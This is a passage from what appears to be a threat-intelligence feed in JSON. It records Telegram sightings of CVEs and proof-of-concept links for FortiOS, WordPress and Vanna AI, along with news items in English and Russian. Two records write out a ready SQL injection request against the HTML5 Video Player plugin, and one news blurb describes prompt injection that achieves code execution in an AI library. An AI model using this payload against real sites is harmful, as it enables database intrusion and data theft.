"seen", "source": "Telegram/sO7tTzdS5y8yTSSc6yoReByDI9kawAXOtuNey_fvClHDkDN0", "content": "", "creation_timestamp": "2025-02-06T02:43:28.000000Z"}, {"uuid": "2c20d3d4-3aca-4942-bc82-87d8d7d59e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55904", "type": "seen", "source": "Telegram/4rOMaJ4xzB5EgmQRgZODiZssFZojDSlb8SvPv93Tkultof-Q", "content": "", "creation_timestamp": "2025-02-14T10:09:24.000000Z"}, {"uuid": "c9832fe6-3b87-41a8-a3fd-32c3a823a65b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/13417", "content": "The Hacker News\nPrompt Injection Flaw in Vanna AI Exposes Databases to RCE Attacks\n\nCybersecurity researchers have disclosed a high-severity security flaw in the Vanna.AI library that could be exploited to achieve remote code execution vulnerability via prompt injection techniques.\nThe vulnerability, tracked as CVE-2024-5565 (CVSS score: 8.1), relates to a case of prompt injection in the \"ask\" function that could be exploited to trick the library into executing arbitrary", "creation_timestamp": "2024-06-27T12:12:53.000000Z"}, {"uuid": "7c870dff-2265-4183-8c38-d846883113ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55949", "type": "seen", "source": "https://t.me/CyberBulletin/26845", "content": "\u26a1\ufe0fCVE-2024-55949 (CVSS 9.3): Critical MinIO Flaw Allows Any User to Gain Full Admin Privileges.\n\n#CyberBulletin", "creation_timestamp": "2024-12-18T07:13:05.000000Z"}, {"uuid": "a5a84931-e861-41dc-ae76-a458f5762565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/RipperSecIO/112630", "content": "https://github.com/kryptonproject/CVE-2024-5522-PoC\n\nCVE-2024-5522-PoC : HTML5 Video Player &lt; 2.5.27 - Unauthenticated SQLi", "creation_timestamp": "2024-09-11T10:55:15.000000Z"}, {"uuid": "0103aca6-a459-4993-8c3a-5f95e2411b4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "Telegram/Sqh6EZwDjYUEyD0KmCOu1fnD96OmLihsBaDstzs9VRNuTEz_", "content": "", "creation_timestamp": "2024-09-11T10:55:07.000000Z"}, {"uuid": "48e04786-6ba9-4706-880e-0f8a1919e68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "Telegram/Q6JYSzCk4fSxtiIEfbQo5uoXu9pq_6r9ZFHqnZnr27qFgNu8", "content": "", "creation_timestamp": "2024-09-11T10:28:46.000000Z"}, {"uuid": "814db707-8e33-4c88-8e95-e872b355a260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "published-proof-of-concept", "source": "Telegram/tSPxmshbzX4UpTVdKE7p8A34J0-QmbyMZS3Wx59xPpPEjg", "content": "", "creation_timestamp": "2024-06-27T12:07:46.000000Z"}, {"uuid": "79622dd7-254d-4203-9f9c-b582b16b0f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1448", "content": "Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution (CVE-2024-55956) #19793\n\nhttps://github.com/rapid7/metasploit-framework/pull/19793", "creation_timestamp": "2025-01-14T12:27:32.000000Z"}, {"uuid": "80e60e2e-80e0-4ff4-8d9a-3ccd85048e37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1498", "content": "A Fortinet FortiOS Authentication Bypass PoC \n\nhttps://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591\n\n#CyberDilara", "creation_timestamp": "2025-02-02T04:47:15.000000Z"}, {"uuid": "e780c31a-1d07-449c-b0fd-e194e852275d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1459", "content": "CVE-2024-55591 A Fortinet FortiOS Authentication Bypass Vulnerable Behaviour Detection.\n\nhttps://github.com/watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591\n\n#CyberDilara", "creation_timestamp": "2025-01-17T01:54:04.000000Z"}, {"uuid": "c1afe5ff-968d-45bf-9973-48e9a86da51b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/392", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "creation_timestamp": "2024-07-13T13:26:13.000000Z"}, {"uuid": "18bf7c78-ac9d-4287-ad62-d40fffc21530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/2658", "content": "The Hacker News\nPrompt Injection Flaw in Vanna AI Exposes Databases to RCE Attacks\n\nCybersecurity researchers have disclosed a high-severity security flaw in the Vanna.AI library that could be exploited to achieve remote code execution vulnerability via prompt injection techniques.\nThe vulnerability, tracked as CVE-2024-5565 (CVSS score: 8.1), relates to a case of prompt injection in the \"ask\" function that could be exploited to trick the library into executing arbitrary", "creation_timestamp": "2024-06-27T12:12:53.000000Z"}, {"uuid": "2c7808d5-56bf-4dca-9d50-f7ee7fb1b115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "seen", "source": "https://t.me/KomunitiSiber/2171", "content": "Prompt Injection Flaw in Vanna AI Exposes Databases to RCE Attacks\nhttps://thehackernews.com/2024/06/prompt-injection-flaw-in-vanna-ai.html\n\nCybersecurity researchers have disclosed a high-severity security flaw in the Vanna.AI library that could be exploited to achieve remote code execution vulnerability via prompt injection techniques.\nThe vulnerability, tracked as CVE-2024-5565 (CVSS score: 8.1), relates to a case of prompt injection in the \"ask\" function that could be exploited to trick the library into executing arbitrary", "creation_timestamp": "2024-06-27T12:00:06.000000Z"}, {"uuid": "03c152f6-b831-4c1a-9519-3c375e462477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/w325E41di4scLZAZeav1H5x7KtwWQEG9CnYV1IaJHJrRvx4", "content": "", "creation_timestamp": "2025-01-30T04:00:07.000000Z"}, {"uuid": "a5fded5a-36d3-4fa7-bdbc-5d667ca0060a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/ZpE0jkboKxG3E_l7Xp0LQ0XmO2ptlKEV6PdhL7w9La0AoG4", "content": "", "creation_timestamp": "2025-01-28T15:12:38.000000Z"}, {"uuid": "38cb541b-7d25-45ab-a7a2-c2f0aea79686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/crjmNdUYsD6DpqvodtiKy_qbrsdRtp6ZTVoog67DVqb9Ygo", "content": "", "creation_timestamp": "2025-01-25T22:00:05.000000Z"}, {"uuid": "fb06518f-991c-4d28-a7c2-e9e18a606c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "published-proof-of-concept", "source": "Telegram/mQBAnIB4wxCayakdSJg64fJulz_r_dejim5tVI_Lr8NLm8g", "content": "", "creation_timestamp": "2025-04-16T05:00:06.000000Z"}, {"uuid": "819444e7-4f8e-4be8-9740-a203f27bb151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/FhIgV2Zaw77F6jq__biuOWv64Ma5D9psk71_-3LBOrBB_p0", "content": "", "creation_timestamp": "2025-01-16T18:23:30.000000Z"}, {"uuid": "7b995de5-2896-4d1e-8527-95c4931f2b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/SXqudEEcuqakb5MlDk-NKuYRWmtWijUqbJbqT7HTvVIRtvQ", "content": "", "creation_timestamp": "2025-01-29T22:00:06.000000Z"}, {"uuid": "ce56e34c-6d16-47e6-8bda-69850adef7a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55511", "type": "published-proof-of-concept", "source": "Telegram/EBxlpoDEVgCTaQenJ-7Tl1HpGayD89g3xFJ6axCCTzov1N4", "content": "", "creation_timestamp": "2025-01-22T16:00:13.000000Z"}, {"uuid": "6057a527-a022-4d15-b77b-b82d1c870229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55347", "type": "published-proof-of-concept", "source": "Telegram/Udydye_9MRniXQnKlLw6izn4LpjwmtcmKZHz8V5yRbLQn20", "content": "", "creation_timestamp": "2025-02-11T16:00:08.000000Z"}, {"uuid": "ce41b6c0-88b1-49ad-9303-e7ba8da34294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55504", "type": "published-proof-of-concept", "source": "Telegram/ItKcBCOC3nvl-67eorLNQKHsFJ11xElA8cMwfDM6t9Nmi-k", "content": "", "creation_timestamp": "2025-01-19T10:00:06.000000Z"}, {"uuid": "65833175-730f-4c6c-938f-5f65d69a94ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/x09wf5BV-L38GDGdLKlPP_ES7jGx8v3mUPVSlknfUHbTZ6U", "content": "", "creation_timestamp": "2025-01-18T22:00:06.000000Z"}, {"uuid": "d726219d-4bda-41f1-942c-b5064908e24c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/WihYjZpKNIYylc-ChTuYB_T11QPQd1rZGQXBp3o0NaE4LfU", "content": "", "creation_timestamp": "2025-01-24T22:00:05.000000Z"}, {"uuid": "ddd5ca0f-7629-4d23-bdcf-8b13dd09273d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55511", "type": "published-proof-of-concept", "source": "Telegram/QbKsrVZo62SnFgMaF2CMO5HKDx0dEQUP8BMaXCucwzSM5V8", "content": "", "creation_timestamp": "2025-01-20T22:00:06.000000Z"}, {"uuid": "fb739a7b-3fa6-401c-8417-f955f21d3eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "Telegram/7oOON9wm4NLnsXexvwBOz9yoySkEPdgruSbrD_1iUtAwK4A", "content": "", "creation_timestamp": "2024-09-11T10:28:46.000000Z"}, {"uuid": "3df156ba-7fa7-4ae9-b926-c646ab3c5056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/4142", "content": "#GitHub #Tools \n\n#cli #rust search tool that allows to look for a keyword/regex in a dozens file types:  PDF, ZIP, TAR, DOCX, EPUB, SQLITE and more.\n\nhttps://github.com/phiresky/ripgrep-all\n\nGithub repo with collection of yaml files with basic info (main page link, url search link etc) about different web archives:\n\n- UK British Library Web Archive'\n- Estonian Web Archive\n\nand dozens more.\n\nhttps://github.com/webrecorder/public-web-archives\n\nSSL-bypass : Root Detection &amp; SSL Bypass Script - It utilizes Frida's powerful JavaScript injection capabilities to bypass both root detection and SSL certificate pinning in Android applications.\n\nhttps://github.com/0xCD4/SSL-bypass \n\nEarlyCascade: A PoC for Early Cascade process injection technique.\n\nhttps://github.com/0xNinjaCyclone/EarlyCascade \n\nA Fortinet FortiOS Authentication Bypass PoC.\n\nhttps://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591\n\n#Tools@dilagrafie", "creation_timestamp": "2025-02-07T04:12:04.000000Z"}, {"uuid": "0956f754-7a77-4e7c-a097-251e1b7d816a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2163", "content": "\u041f\u0440\u043e\u0441\u044b\u043f\u0430\u0435\u043c\u0441\u044f, \u0437\u0430\u0432\u0442\u0440\u0430\u043a\u0430\u0435\u043c\n*\nCVE-2024-5522 WordPress HTML5 Video Player SQLi\n*\nusage:\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -", "creation_timestamp": "2024-07-13T07:16:33.000000Z"}, {"uuid": "79af0b24-5a14-40a3-8ffd-f5736c91b94e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "published-proof-of-concept", "source": "Telegram/LLNmuXDWmiD5vEg7-nM3iOQeTd-jryM4Y3SAn12ru5H0lsi8", "content": "", "creation_timestamp": "2024-12-13T11:04:07.000000Z"}, {"uuid": "737e7c50-532c-49f7-a6d8-6b1debc6f6d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2490", "content": "CVE-2024-55591\n*\nA Fortinet FortiOS Authentication Bypass Vulnerable \n*\nPoC", "creation_timestamp": "2025-01-21T16:51:09.000000Z"}, {"uuid": "89974bf3-b39b-481c-a74b-8d04f259b8d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/proxy_bar/2487", "content": "CVE-2024-55591\n*\nFortinet FortiOS Authentication Bypass\n*\n    FortiOS 7.0.0 through 7.0.16\n    FortiProxy 7.0.0 through 7.0.19\n    FortiProxy 7.2.0 through 7.2.12\n*\nCHECKER VULN", "creation_timestamp": "2025-01-16T12:48:52.000000Z"}, {"uuid": "c0ec76fb-e1da-4eb7-84c1-a42799afb326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7971", "content": "#GitHub #Tools \n\n#cli #rust search tool that allows to look for a keyword/regex in a dozens file types:  PDF, ZIP, TAR, DOCX, EPUB, SQLITE and more.\n\nhttps://github.com/phiresky/ripgrep-all\n\nGithub repo with collection of yaml files with basic info (main page link, url search link etc) about different web archives:\n\n- UK British Library Web Archive'\n- Estonian Web Archive\n\nand dozens more.\n\nhttps://github.com/webrecorder/public-web-archives\n\nSSL-bypass : Root Detection &amp; SSL Bypass Script - It utilizes Frida's powerful JavaScript injection capabilities to bypass both root detection and SSL certificate pinning in Android applications.\n\nhttps://github.com/0xCD4/SSL-bypass \n\nEarlyCascade: A PoC for Early Cascade process injection technique.\n\nhttps://github.com/0xNinjaCyclone/EarlyCascade \n\nA Fortinet FortiOS Authentication Bypass PoC.\n\nhttps://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591\n\n#Tools@dilagrafie", "creation_timestamp": "2025-02-07T05:41:13.000000Z"}, {"uuid": "73543cb7-c7ce-4f0f-b12b-c4f8fd051e54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/zero_day_uz/467", "content": "CVE-2024-55591\n*\nFortinet FortiOS Authentication Bypass\n*\n    FortiOS 7.0.0 through 7.0.16\n    FortiProxy 7.0.0 through 7.0.19\n    FortiProxy 7.2.0 through 7.2.12\n*\nCHECKER VULN", "creation_timestamp": "2025-01-16T12:48:11.000000Z"}, {"uuid": "ec0202bd-ec47-4f05-8688-cdf31aad8879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://t.me/true_secator/6054", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0418\u0411-\u0443\u0433\u0440\u043e\u0437\u0430\u043c.\n\n11-\u043b\u0435\u0442\u043d\u044f\u044f \u043e\u0448\u0438\u0431\u043a\u0430 CVE-2024-5535, , \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 OpenSSL.\n\nCrowdfense \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0442\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a CVE-2024-21338, \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 Windows AppLocker, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\nSecureLayer7 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e CVE-2024-39877, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Apache Airflow RCE, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043a\u0430\u043a FlowFixation.\n\nCertiK \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043c\u043e\u0449\u043d\u044b\u0439 \u0431\u0430\u0440\u044b\u0448 \u043e\u0442 Coinbase \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u044f \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u043a.\n\n\u0421\u0443\u043c\u043c\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 $500 \u0442\u044b\u0441., \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0443\u0447\u0435\u043d\u044b\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Voice over Wi-Fi (VoWiFi), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 2016 \u0433\u043e\u0434\u0430 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u043c\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u0435\u0442\u044f\u043c\u0438 \u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043d\u043e\u0432\u044b\u0445 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e 13 \u0438\u0437 275 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u043c\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0437\u043e\u0432\u043e\u0432 WLAN, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u044b 5G \u0441 \u0447\u0438\u043f\u0430\u043c\u0438 MediaTek \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u0430\u0431\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0437\u043e\u0432\u043e\u0432 WLAN, \u0447\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430.\n\n\u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 140 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442\u0441\u044f.\n\nWhite Knight Labs \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 LayeredSyscall\u00a0- \u043d\u043e\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u0435\u043a\u0442\u043e\u0440\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 (VEH) \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 EDR.\n\n\u0418, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043d\u0430 \u0434\u0435\u0441\u0435\u0440\u0442, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 [PDF] \u043e\u0442 \u0431\u0435\u043b\u044c\u0433\u0438\u0439\u0441\u043a\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0437\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432.\n\n\u041a\u0430\u043a \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0448\u0435\u0441\u0442\u044c \u0438\u0437 15 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Badoo, Bumble, Grindr, happn, Hinge \u0438 Hily, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u043b\u0438\u0432\u0430\u044e\u0442 \u0442\u043e\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e 